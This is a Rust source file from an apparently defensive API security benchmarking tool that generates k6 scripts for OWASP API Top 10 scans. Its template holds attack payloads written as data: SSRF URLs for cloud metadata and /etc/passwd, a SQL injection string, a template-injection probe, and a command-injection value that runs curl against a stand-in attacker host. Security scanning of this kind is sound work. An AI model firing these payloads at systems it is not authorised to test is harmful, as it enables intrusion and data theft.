Skip to main content

mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14
15/// Generator for OWASP API security test scripts
16pub struct OwaspApiGenerator {
17    /// OWASP API configuration
18    config: OwaspApiConfig,
19    /// Target base URL
20    target_url: String,
21    /// Parsed OpenAPI operations
22    operations: Vec<OperationInfo>,
23}
24
25/// Information about an API operation
26#[derive(Debug, Clone)]
27pub struct OperationInfo {
28    /// HTTP method
29    pub method: String,
30    /// Path template (e.g., /users/{id})
31    pub path: String,
32    /// Operation ID
33    pub operation_id: Option<String>,
34    /// Path parameters
35    pub path_params: Vec<PathParam>,
36    /// Query parameters
37    pub query_params: Vec<QueryParam>,
38    /// Whether operation has request body
39    pub has_body: bool,
40    /// Content type
41    pub content_type: Option<String>,
42    /// Security requirements (if any)
43    pub requires_auth: bool,
44    /// Tags
45    pub tags: Vec<String>,
46}
47
48/// Path parameter info
49#[derive(Debug, Clone)]
50pub struct PathParam {
51    pub name: String,
52    pub param_type: String,
53    pub example: Option<String>,
54}
55
56/// Query parameter info
57#[derive(Debug, Clone)]
58pub struct QueryParam {
59    pub name: String,
60    pub param_type: String,
61    pub required: bool,
62}
63
64impl OwaspApiGenerator {
65    /// Create a new OWASP API generator
66    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67        let operations = Self::extract_operations(parser);
68        Self {
69            config,
70            target_url,
71            operations,
72        }
73    }
74
75    /// Extract operations from the spec parser
76    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77        parser
78            .get_operations()
79            .into_iter()
80            .map(|op| {
81                // Extract path parameters from the path
82                let path_params: Vec<PathParam> = op
83                    .path
84                    .split('/')
85                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86                    .map(|segment| {
87                        let name = segment.trim_start_matches('{').trim_end_matches('}');
88                        PathParam {
89                            name: name.to_string(),
90                            param_type: "string".to_string(),
91                            example: None,
92                        }
93                    })
94                    .collect();
95
96                OperationInfo {
97                    method: op.method.to_uppercase(),
98                    path: op.path.clone(),
99                    operation_id: op.operation_id.clone(),
100                    path_params,
101                    query_params: Vec::new(),
102                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103                    content_type: Some("application/json".to_string()),
104                    requires_auth: true, // Assume auth required by default
105                    tags: op.operation.tags.clone(),
106                }
107            })
108            .collect()
109    }
110
111    /// Generate the complete k6 security test script
112    pub fn generate(&self) -> Result<String> {
113        let mut handlebars = Handlebars::new();
114
115        // Register custom helpers
116        handlebars.register_helper("contains", Box::new(contains_helper));
117        handlebars.register_helper("eq", Box::new(eq_helper));
118
119        let template = self.get_script_template();
120        let data = self.build_template_data()?;
121
122        handlebars
123            .render_template(&template, &data)
124            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125    }
126
127    /// Build template data for rendering
128    fn build_template_data(&self) -> Result<Value> {
129        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130        let mut test_cases: Vec<Value> = Vec::new();
131
132        // Generate test cases for each category
133        for category in self.config.categories_to_test() {
134            let category_tests = self.generate_category_tests(category, &payload_generator)?;
135            test_cases.extend(category_tests);
136        }
137
138        // Pre-compute which categories are enabled for simple template conditionals
139        let categories = self.config.categories_to_test();
140        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142        let test_api3 =
143            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144        let test_api4 =
145            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146        let test_api5 =
147            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151        let test_api9 =
152            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153        let test_api10 =
154            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156        // Helper to prepend base_path to API paths
157        let base_path = self.config.base_path.clone().unwrap_or_default();
158        let build_path = |path: &str| -> String {
159            if base_path.is_empty() {
160                path.to_string()
161            } else {
162                format!("{}{}", base_path.trim_end_matches('/'), path)
163            }
164        };
165
166        // Pre-compute operations with path parameters for BOLA testing
167        let ops_with_path_params: Vec<Value> = self
168            .operations
169            .iter()
170            .filter(|op| op.path.contains('{'))
171            .map(|op| {
172                json!({
173                    "method": op.method.to_lowercase(),
174                    "path": build_path(&op.path),
175                })
176            })
177            .collect();
178
179        // Pre-compute GET operations for method override testing
180        let get_operations: Vec<Value> = self
181            .operations
182            .iter()
183            .filter(|op| op.method.to_lowercase() == "get")
184            .map(|op| {
185                json!({
186                    "method": op.method.to_lowercase(),
187                    "path": build_path(&op.path),
188                })
189            })
190            .collect();
191
192        // Escape auth header and token values for safe use in JavaScript strings
193        let auth_header_name = escape_js_string(&self.config.auth_header);
194        let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
195
196        Ok(json!({
197            "base_url": self.target_url,
198            "auth_header_name": auth_header_name,
199            "valid_auth_token": valid_auth_token,
200            "concurrency": self.config.concurrency,
201            "iterations": self.config.iterations,
202            "timeout_ms": self.config.timeout_ms,
203            "report_path": self.config.report_path.to_string_lossy(),
204            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
205            "test_cases": test_cases,
206            "operations": self.operations.iter().map(|op| json!({
207                "method": op.method.to_lowercase(),
208                "path": build_path(&op.path),
209                "operation_id": op.operation_id,
210                "has_body": op.has_body,
211                "requires_auth": op.requires_auth,
212                "has_path_params": op.path.contains('{'),
213            })).collect::<Vec<_>>(),
214            "ops_with_path_params": ops_with_path_params,
215            "get_operations": get_operations,
216            "verbose": self.config.verbose,
217            "insecure": self.config.insecure,
218            // Custom headers from CLI (e.g., Cookie, X-Custom-Header)
219            "custom_headers": self.config.custom_headers.iter()
220                .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
221                .collect::<Vec<_>>(),
222            "has_custom_headers": !self.config.custom_headers.is_empty(),
223            // Category flags for simple conditionals
224            "test_api1": test_api1,
225            "test_api2": test_api2,
226            "test_api3": test_api3,
227            "test_api4": test_api4,
228            "test_api5": test_api5,
229            "test_api6": test_api6,
230            "test_api7": test_api7,
231            "test_api8": test_api8,
232            "test_api9": test_api9,
233            "test_api10": test_api10,
234        }))
235    }
236
237    /// Generate test cases for a specific category
238    fn generate_category_tests(
239        &self,
240        category: OwaspCategory,
241        payload_generator: &OwaspPayloadGenerator,
242    ) -> Result<Vec<Value>> {
243        let payloads = payload_generator.generate_for_category(category);
244        let mut tests = Vec::new();
245
246        for payload in payloads {
247            // Match payloads to appropriate operations
248            let applicable_ops = self.get_applicable_operations(&payload);
249
250            for op in applicable_ops {
251                tests.push(json!({
252                    "category": category.cli_name(),
253                    "category_name": category.short_name(),
254                    "description": payload.description,
255                    "method": op.method.to_lowercase(),
256                    "path": op.path,
257                    "payload": payload.value,
258                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
259                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
260                    "notes": payload.notes,
261                }));
262            }
263        }
264
265        Ok(tests)
266    }
267
268    /// Get operations applicable for a payload
269    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
270        match payload.injection_point {
271            InjectionPoint::PathParam => {
272                // Only operations with path parameters
273                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
274            }
275            InjectionPoint::Body => {
276                // Only operations that accept a body
277                self.operations.iter().filter(|op| op.has_body).collect()
278            }
279            InjectionPoint::Header | InjectionPoint::Omit => {
280                // All operations that require auth
281                self.operations.iter().filter(|op| op.requires_auth).collect()
282            }
283            InjectionPoint::QueryParam => {
284                // All operations (can add query params to any)
285                self.operations.iter().collect()
286            }
287            InjectionPoint::Modify => {
288                // Depends on payload - return all for now
289                self.operations.iter().collect()
290            }
291        }
292    }
293
294    /// Get the k6 script template
295    fn get_script_template(&self) -> String {
296        r#"// OWASP API Security Top 10 Test Script
297// Generated by MockForge - https://mockforge.dev
298// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
299
300import http from 'k6/http';
301import { check, sleep, group } from 'k6';
302import { Trend, Counter, Rate } from 'k6/metrics';
303
304// Configuration
305const BASE_URL = '{{{base_url}}}';
306const AUTH_HEADER = '{{{auth_header_name}}}';
307{{#if valid_auth_token}}
308const VALID_TOKEN = '{{{valid_auth_token}}}';
309{{else}}
310const VALID_TOKEN = null;
311{{/if}}
312const TIMEOUT = '{{timeout_ms}}ms';
313const VERBOSE = {{verbose}};
314const INSECURE = {{insecure}};
315
316// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
317const CUSTOM_HEADERS = {
318{{#each custom_headers}}
319    '{{{name}}}': '{{{value}}}',
320{{/each}}
321};
322
323// Custom metrics
324const findingsCounter = new Counter('owasp_findings');
325const testsRun = new Counter('owasp_tests_run');
326const vulnerableRate = new Rate('owasp_vulnerable_rate');
327const responseTime = new Trend('owasp_response_time');
328
329// Test options - use per-VU iterations scenario for controlled test runs
330export const options = {
331    scenarios: {
332        owasp_security_test: {
333            executor: 'per-vu-iterations',
334            vus: {{concurrency}},
335            iterations: {{iterations}},  // Iterations per VU
336            maxDuration: '30m',
337        },
338    },
339    thresholds: {
340        'owasp_findings': ['count<100'], // Alert if too many findings
341    },
342    insecureSkipTLSVerify: INSECURE,
343};
344
345// Findings storage
346const findings = [];
347
348// Helper: Log a finding
349function logFinding(category, endpoint, method, description, evidence) {
350    const finding = {
351        category,
352        endpoint,
353        method,
354        description,
355        evidence,
356        timestamp: new Date().toISOString(),
357    };
358    findings.push(finding);
359    findingsCounter.add(1);
360    vulnerableRate.add(1);
361
362    if (VERBOSE) {
363        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
364    }
365}
366
367// Helper: Log test passed
368function logPass(category, endpoint, method) {
369    vulnerableRate.add(0);
370    if (VERBOSE) {
371        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
372    }
373}
374
375// Helper: Generate a random UUID for path parameters
376// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
377function generateRandomId() {
378    return crypto.randomUUID();
379}
380
381// Helper: Replace path parameters with random UUIDs
382// Replaces all {param} patterns with new random UUIDs
383function replacePathParams(path) {
384    return path.replace(/{[^}]+}/g, () => generateRandomId());
385}
386
387// Helper: Make authenticated request
388function authRequest(method, url, body, additionalHeaders = {}) {
389    // Clear cookie jar before EVERY request to prevent k6 from merging
390    // Set-Cookie response cookies with our manually specified Cookie header
391    {{#if has_custom_headers}}
392    http.cookieJar().clear(url);
393    {{/if}}
394
395    const headers = {
396        'Content-Type': 'application/json',
397        ...CUSTOM_HEADERS,
398        ...additionalHeaders,
399    };
400
401    if (VALID_TOKEN) {
402        headers[AUTH_HEADER] = VALID_TOKEN;
403    }
404
405    const params = {
406        headers,
407        timeout: TIMEOUT,
408        jar: null,
409    };
410
411    // k6 uses 'del' instead of 'delete'
412    const httpMethod = method === 'delete' ? 'del' : method;
413
414    if (httpMethod === 'get' || httpMethod === 'head') {
415        return http[httpMethod](url, params);
416    } else {
417        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
418    }
419}
420
421// Helper: Make unauthenticated request
422function unauthRequest(method, url, body, additionalHeaders = {}) {
423    {{#if has_custom_headers}}
424    http.cookieJar().clear(url);
425    {{/if}}
426
427    const headers = {
428        'Content-Type': 'application/json',
429        ...CUSTOM_HEADERS,
430        ...additionalHeaders,
431    };
432
433    const params = {
434        headers,
435        timeout: TIMEOUT,
436        jar: null,
437    };
438
439    // k6 uses 'del' instead of 'delete'
440    const httpMethod = method === 'delete' ? 'del' : method;
441
442    if (httpMethod === 'get' || httpMethod === 'head') {
443        return http[httpMethod](url, params);
444    } else {
445        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
446    }
447}
448
449// API1: Broken Object Level Authorization (BOLA)
450function testBola() {
451    group('API1 - BOLA', function() {
452        console.log('[API1] Testing Broken Object Level Authorization...');
453
454        {{#each operations}}
455        {{#if has_path_params}}
456        // Test {{path}}
457        {
458            // Generate different random UUIDs for each test
459            const originalId = generateRandomId();
460            const targetId = generateRandomId();
461            const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
462            const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
463
464            if (VERBOSE) {
465                console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
466            }
467
468            // Get baseline with first random ID
469            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
470
471            // Try to access different random ID (simulating another user's resource)
472            const response = authRequest('{{method}}', BASE_URL + targetPath, null);
473            testsRun.add(1);
474            responseTime.add(response.timings.duration);
475
476            if (response.status >= 200 && response.status < 300) {
477                // Check if we got different data (potential BOLA vulnerability)
478                if (response.body !== baseline.body && response.body.length > 0) {
479                    logFinding('api1', '{{path}}', '{{method}}',
480                        'ID manipulation accepted - accessed different resource',
481                        { status: response.status, originalId, targetId, bodyLength: response.body.length });
482                } else {
483                    logPass('api1', '{{path}}', '{{method}}');
484                }
485            } else {
486                logPass('api1', '{{path}}', '{{method}}');
487            }
488        }
489        {{/if}}
490        {{/each}}
491    });
492}
493
494// API2: Broken Authentication
495function testBrokenAuth() {
496    group('API2 - Broken Authentication', function() {
497        console.log('[API2] Testing Broken Authentication...');
498
499        {{#each operations}}
500        {{#if requires_auth}}
501        // Test {{path}} without auth
502        {
503            const testPath = replacePathParams('{{path}}');
504            const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
505            testsRun.add(1);
506            responseTime.add(response.timings.duration);
507
508            if (response.status >= 200 && response.status < 300) {
509                logFinding('api2', '{{path}}', '{{method}}',
510                    'Endpoint accessible without authentication',
511                    { status: response.status });
512            } else {
513                logPass('api2', '{{path}}', '{{method}}');
514            }
515        }
516
517        // Test {{path}} with empty token
518        {
519            const testPath = replacePathParams('{{path}}');
520            const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
521            {{#if @root.has_custom_headers}}
522            http.cookieJar().clear(BASE_URL + testPath);
523            {{/if}}
524            const makeEmptyTokenRequest = (m, url, body, params) => {
525                if (m === 'get' || m === 'head') return http[m](url, params);
526                return http[m](url, body, params);
527            };
528            const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
529                headers: { [AUTH_HEADER]: 'Bearer ' },
530                timeout: TIMEOUT,
531                jar: null,
532            });
533            testsRun.add(1);
534
535            if (response.status >= 200 && response.status < 300) {
536                logFinding('api2', '{{path}}', '{{method}}',
537                    'Endpoint accessible with empty Bearer token',
538                    { status: response.status });
539            }
540        }
541        {{/if}}
542        {{/each}}
543    });
544}
545
546// API3: Broken Object Property Level Authorization (Mass Assignment)
547function testMassAssignment() {
548    group('API3 - Mass Assignment', function() {
549        console.log('[API3] Testing Mass Assignment...');
550
551        const massAssignmentPayloads = [
552            { role: 'admin' },
553            { is_admin: true },
554            { isAdmin: true },
555            { permissions: ['admin', 'write', 'delete'] },
556            { verified: true },
557            { email_verified: true },
558            { balance: 999999 },
559        ];
560
561        {{#each operations}}
562        {{#if has_body}}
563        // Test {{path}}
564        {
565            const testPath = replacePathParams('{{path}}');
566            massAssignmentPayloads.forEach(payload => {
567                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
568                testsRun.add(1);
569                responseTime.add(response.timings.duration);
570
571                if (response.status >= 200 && response.status < 300) {
572                    // Check if unauthorized field appears in response
573                    const responseBody = response.body.toLowerCase();
574                    const payloadKey = Object.keys(payload)[0].toLowerCase();
575
576                    if (responseBody.includes(payloadKey)) {
577                        logFinding('api3', '{{path}}', '{{method}}',
578                            `Mass assignment accepted: ${payloadKey}`,
579                            { status: response.status, payload });
580                    } else {
581                        logPass('api3', '{{path}}', '{{method}}');
582                    }
583                }
584            });
585        }
586        {{/if}}
587        {{/each}}
588    });
589}
590
591// API4: Unrestricted Resource Consumption
592function testResourceConsumption() {
593    group('API4 - Resource Consumption', function() {
594        console.log('[API4] Testing Resource Consumption...');
595
596        {{#each operations}}
597        // Test {{path}} with excessive limit
598        {
599            const testPath = replacePathParams('{{path}}');
600            const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
601            const response = authRequest('{{method}}', url, null);
602            testsRun.add(1);
603            responseTime.add(response.timings.duration);
604
605            // Check for rate limit headers
606            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
607                                response.headers['x-ratelimit-limit'] ||
608                                response.headers['RateLimit-Limit'];
609
610            if (response.status === 429) {
611                logPass('api4', '{{path}}', '{{method}}');
612            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
613                logFinding('api4', '{{path}}', '{{method}}',
614                    'No rate limiting detected',
615                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
616            } else {
617                logPass('api4', '{{path}}', '{{method}}');
618            }
619        }
620        {{/each}}
621    });
622}
623
624// API5: Broken Function Level Authorization
625function testFunctionAuth() {
626    group('API5 - Function Authorization', function() {
627        console.log('[API5] Testing Function Level Authorization...');
628
629        const adminPaths = [
630            '/admin',
631            '/admin/users',
632            '/admin/settings',
633            '/api/admin',
634            '/internal',
635            '/management',
636        ];
637
638        adminPaths.forEach(path => {
639            const response = authRequest('get', BASE_URL + path, null);
640            testsRun.add(1);
641            responseTime.add(response.timings.duration);
642
643            if (response.status >= 200 && response.status < 300) {
644                logFinding('api5', path, 'GET',
645                    'Admin endpoint accessible',
646                    { status: response.status });
647            } else if (response.status === 403 || response.status === 401) {
648                logPass('api5', path, 'GET');
649            }
650        });
651
652        // Also test changing methods on read-only endpoints
653        {{#each get_operations}}
654        {
655            const testPath = replacePathParams('{{path}}');
656            const response = authRequest('delete', BASE_URL + testPath, null);
657            testsRun.add(1);
658
659            if (response.status >= 200 && response.status < 300) {
660                logFinding('api5', '{{path}}', 'DELETE',
661                    'DELETE method allowed on read-only endpoint',
662                    { status: response.status });
663            }
664        }
665        {{/each}}
666    });
667}
668
669// API7: Server Side Request Forgery (SSRF)
670function testSsrf() {
671    group('API7 - SSRF', function() {
672        console.log('[API7] Testing Server Side Request Forgery...');
673
674        const ssrfPayloads = [
675            'http://localhost/',
676            'http://127.0.0.1/',
677            'http://169.254.169.254/latest/meta-data/',
678            'http://[::1]/',
679            'file:///etc/passwd',
680        ];
681
682        {{#each operations}}
683        {{#if has_body}}
684        // Test {{path}} with SSRF payloads
685        {
686            const testPath = replacePathParams('{{path}}');
687            ssrfPayloads.forEach(payload => {
688                const body = {
689                    url: payload,
690                    webhook_url: payload,
691                    callback: payload,
692                    image_url: payload,
693                };
694
695                const response = authRequest('{{method}}', BASE_URL + testPath, body);
696                testsRun.add(1);
697                responseTime.add(response.timings.duration);
698
699                if (response.status >= 200 && response.status < 300) {
700                    // Check for indicators of internal access
701                    const bodyLower = response.body.toLowerCase();
702                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
703
704                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
705                        logFinding('api7', '{{path}}', '{{method}}',
706                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
707                            { status: response.status, payload });
708                    }
709                }
710            });
711        }
712        {{/if}}
713        {{/each}}
714    });
715}
716
717// API8: Security Misconfiguration
718function testMisconfiguration() {
719    group('API8 - Security Misconfiguration', function() {
720        console.log('[API8] Testing Security Misconfiguration...');
721
722        {{#each operations}}
723        // Test {{path}} for security headers
724        {
725            const testPath = replacePathParams('{{path}}');
726            const response = authRequest('{{method}}', BASE_URL + testPath, null);
727            testsRun.add(1);
728            responseTime.add(response.timings.duration);
729
730            const missingHeaders = [];
731
732            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
733                missingHeaders.push('X-Content-Type-Options');
734            }
735            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
736                missingHeaders.push('X-Frame-Options');
737            }
738            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
739                missingHeaders.push('Strict-Transport-Security');
740            }
741
742            // Check for overly permissive CORS
743            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
744            if (acao === '*') {
745                logFinding('api8', '{{path}}', '{{method}}',
746                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
747                    { status: response.status });
748            }
749
750            if (missingHeaders.length > 0) {
751                logFinding('api8', '{{path}}', '{{method}}',
752                    `Missing security headers: ${missingHeaders.join(', ')}`,
753                    { status: response.status, missingHeaders });
754            }
755        }
756        {{/each}}
757
758        // Test for verbose errors
759        {{#each operations}}
760        {{#if has_body}}
761        {
762            const testPath = replacePathParams('{{path}}');
763            const malformedBody = '{"invalid": "json';
764            {{#if @root.has_custom_headers}}
765            http.cookieJar().clear(BASE_URL + testPath);
766            {{/if}}
767            const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
768                headers: { 'Content-Type': 'application/json', ...CUSTOM_HEADERS },
769                timeout: TIMEOUT,
770                jar: null,
771            });
772            testsRun.add(1);
773
774            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
775            const bodyLower = response.body.toLowerCase();
776
777            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
778                logFinding('api8', '{{path}}', '{{method}}',
779                    'Verbose error messages exposed',
780                    { status: response.status });
781            }
782        }
783        {{/if}}
784        {{/each}}
785    });
786}
787
788// API9: Improper Inventory Management
789function testInventory() {
790    group('API9 - Inventory Management', function() {
791        console.log('[API9] Testing Improper Inventory Management...');
792
793        const discoveryPaths = [
794            '/swagger',
795            '/swagger-ui',
796            '/swagger.json',
797            '/api-docs',
798            '/openapi',
799            '/openapi.json',
800            '/graphql',
801            '/graphiql',
802            '/debug',
803            '/actuator',
804            '/actuator/health',
805            '/actuator/env',
806            '/metrics',
807            '/.env',
808            '/config',
809        ];
810
811        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
812
813        discoveryPaths.forEach(path => {
814            {{#if @root.has_custom_headers}}
815            http.cookieJar().clear(BASE_URL + path);
816            {{/if}}
817            const response = http.get(BASE_URL + path, { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: null });
818            testsRun.add(1);
819            responseTime.add(response.timings.duration);
820
821            if (response.status !== 404) {
822                logFinding('api9', path, 'GET',
823                    `Undocumented endpoint discovered (HTTP ${response.status})`,
824                    { status: response.status });
825            }
826        });
827
828        // Check for old API versions
829        apiVersions.forEach(version => {
830            {{#if @root.has_custom_headers}}
831            http.cookieJar().clear(BASE_URL + '/' + version + '/');
832            {{/if}}
833            const response = http.get(BASE_URL + '/' + version + '/', { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: null });
834            testsRun.add(1);
835
836            if (response.status !== 404) {
837                logFinding('api9', '/' + version + '/', 'GET',
838                    `API version endpoint exists (HTTP ${response.status})`,
839                    { status: response.status });
840            }
841        });
842    });
843}
844
845// API10: Unsafe Consumption of APIs
846function testUnsafeConsumption() {
847    group('API10 - Unsafe Consumption', function() {
848        console.log('[API10] Testing Unsafe Consumption...');
849
850        const injectionPayloads = [
851            { external_id: "'; DROP TABLE users;--" },
852            { integration_data: "$(curl attacker.com/exfil)" },
853            { template: "\{{7*7}}" },
854            { webhook_url: "http://127.0.0.1:8080/internal" },
855        ];
856
857        {{#each operations}}
858        {{#if has_body}}
859        // Test {{path}} with injection payloads
860        {
861            const testPath = replacePathParams('{{path}}');
862            injectionPayloads.forEach(payload => {
863                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
864                testsRun.add(1);
865                responseTime.add(response.timings.duration);
866
867                // Check if payload was processed (e.g., SSTI returning 49)
868                if (response.body.includes('49')) {
869                    logFinding('api10', '{{path}}', '{{method}}',
870                        'Server-side template injection detected',
871                        { status: response.status, payload });
872                }
873            });
874        }
875        {{/if}}
876        {{/each}}
877    });
878}
879
880// Main test function
881export default function() {
882    // Clear cookie jar to prevent duplication with manually specified Cookie headers.
883    // k6 accumulates cookies from Set-Cookie response headers in its VU cookie jar,
884    // which can cause duplicate cookie values even when jar:null is set per-request.
885    {{#if has_custom_headers}}
886    http.cookieJar().clear(BASE_URL);
887    {{/if}}
888
889    console.log('Starting OWASP API Top 10 Security Scan...');
890    console.log('Target: ' + BASE_URL);
891    console.log('');
892
893    {{#if test_api1}}
894    testBola();
895    {{/if}}
896    {{#if test_api2}}
897    testBrokenAuth();
898    {{/if}}
899    {{#if test_api3}}
900    testMassAssignment();
901    {{/if}}
902    {{#if test_api4}}
903    testResourceConsumption();
904    {{/if}}
905    {{#if test_api5}}
906    testFunctionAuth();
907    {{/if}}
908    {{#if test_api7}}
909    testSsrf();
910    {{/if}}
911    {{#if test_api8}}
912    testMisconfiguration();
913    {{/if}}
914    {{#if test_api9}}
915    testInventory();
916    {{/if}}
917    {{#if test_api10}}
918    testUnsafeConsumption();
919    {{/if}}
920
921    sleep(0.1);
922}
923
924// Teardown: Output results
925export function teardown(data) {
926    console.log('');
927    console.log('='.repeat(50));
928    console.log('OWASP API Top 10 Scan Complete');
929    console.log('='.repeat(50));
930    console.log('Total findings: ' + findings.length);
931
932    if (findings.length > 0) {
933        console.log('');
934        console.log('Findings by category:');
935        const byCategory = {};
936        findings.forEach(f => {
937            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
938        });
939        Object.entries(byCategory).forEach(([cat, count]) => {
940            console.log('  ' + cat + ': ' + count);
941        });
942    }
943
944    // Write JSON report
945    console.log('');
946    console.log('Report written to: {{report_path}}');
947}
948"#.to_string()
949    }
950}
951
952/// Handlebars helper to check if a string contains a substring
953fn contains_helper(
954    h: &handlebars::Helper,
955    _: &Handlebars,
956    _: &handlebars::Context,
957    _: &mut handlebars::RenderContext,
958    out: &mut dyn handlebars::Output,
959) -> handlebars::HelperResult {
960    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
961    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
962    let result = param1.contains(param2);
963    out.write(&result.to_string())?;
964    Ok(())
965}
966
967/// Handlebars helper to check equality
968fn eq_helper(
969    h: &handlebars::Helper,
970    _: &Handlebars,
971    _: &handlebars::Context,
972    _: &mut handlebars::RenderContext,
973    out: &mut dyn handlebars::Output,
974) -> handlebars::HelperResult {
975    let param1 = h.param(0).map(|v| v.value());
976    let param2 = h.param(1).map(|v| v.value());
977    let result = param1 == param2;
978    out.write(&result.to_string())?;
979    Ok(())
980}
981
982#[cfg(test)]
983mod tests {
984    use super::*;
985
986    #[test]
987    fn test_generator_creation() {
988        // This would need a mock SpecParser
989        // For now just test that the template is valid
990        let template = r#"
991        {{#each operations}}
992        // {{method}} {{path}}
993        {{/each}}
994        "#;
995
996        let handlebars = Handlebars::new();
997        let data = json!({
998            "operations": [
999                { "method": "GET", "path": "/users" },
1000                { "method": "POST", "path": "/users" },
1001            ]
1002        });
1003
1004        let result = handlebars.render_template(template, &data);
1005        assert!(result.is_ok());
1006    }
1007
1008    #[test]
1009    fn test_script_template_renders() {
1010        let config = OwaspApiConfig::default()
1011            .with_categories([OwaspCategory::Api1Bola])
1012            .with_valid_auth_token("Bearer test123");
1013
1014        let template = r#"
1015const AUTH = '{{auth_header_name}}';
1016const TOKEN = '{{valid_auth_token}}';
1017{{#each categories_tested}}
1018// Testing: {{this}}
1019{{/each}}
1020        "#;
1021
1022        let handlebars = Handlebars::new();
1023        let data = json!({
1024            "auth_header_name": config.auth_header,
1025            "valid_auth_token": config.valid_auth_token,
1026            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
1027        });
1028
1029        let result = handlebars.render_template(template, &data).unwrap();
1030        assert!(result.contains("Authorization"));
1031        assert!(result.contains("Bearer test123"));
1032        assert!(result.contains("api1"));
1033    }
1034
1035    #[test]
1036    fn test_owasp_cookie_jar_cleared_with_custom_headers() {
1037        // Test that the OWASP template clears cookie jar when custom headers are present
1038        let template = r#"
1039{{#if has_custom_headers}}
1040http.cookieJar().clear(BASE_URL);
1041{{/if}}
1042export default function() {}
1043"#;
1044        let handlebars = Handlebars::new();
1045        let data = json!({
1046            "has_custom_headers": true,
1047        });
1048        let result = handlebars.render_template(template, &data).unwrap();
1049        assert!(
1050            result.contains("http.cookieJar().clear(BASE_URL)"),
1051            "Should clear cookie jar when custom headers are present"
1052        );
1053
1054        let data_no_headers = json!({
1055            "has_custom_headers": false,
1056        });
1057        let result_no_headers = handlebars.render_template(template, &data_no_headers).unwrap();
1058        assert!(
1059            !result_no_headers.contains("cookieJar"),
1060            "Should NOT clear cookie jar when no custom headers"
1061        );
1062    }
1063}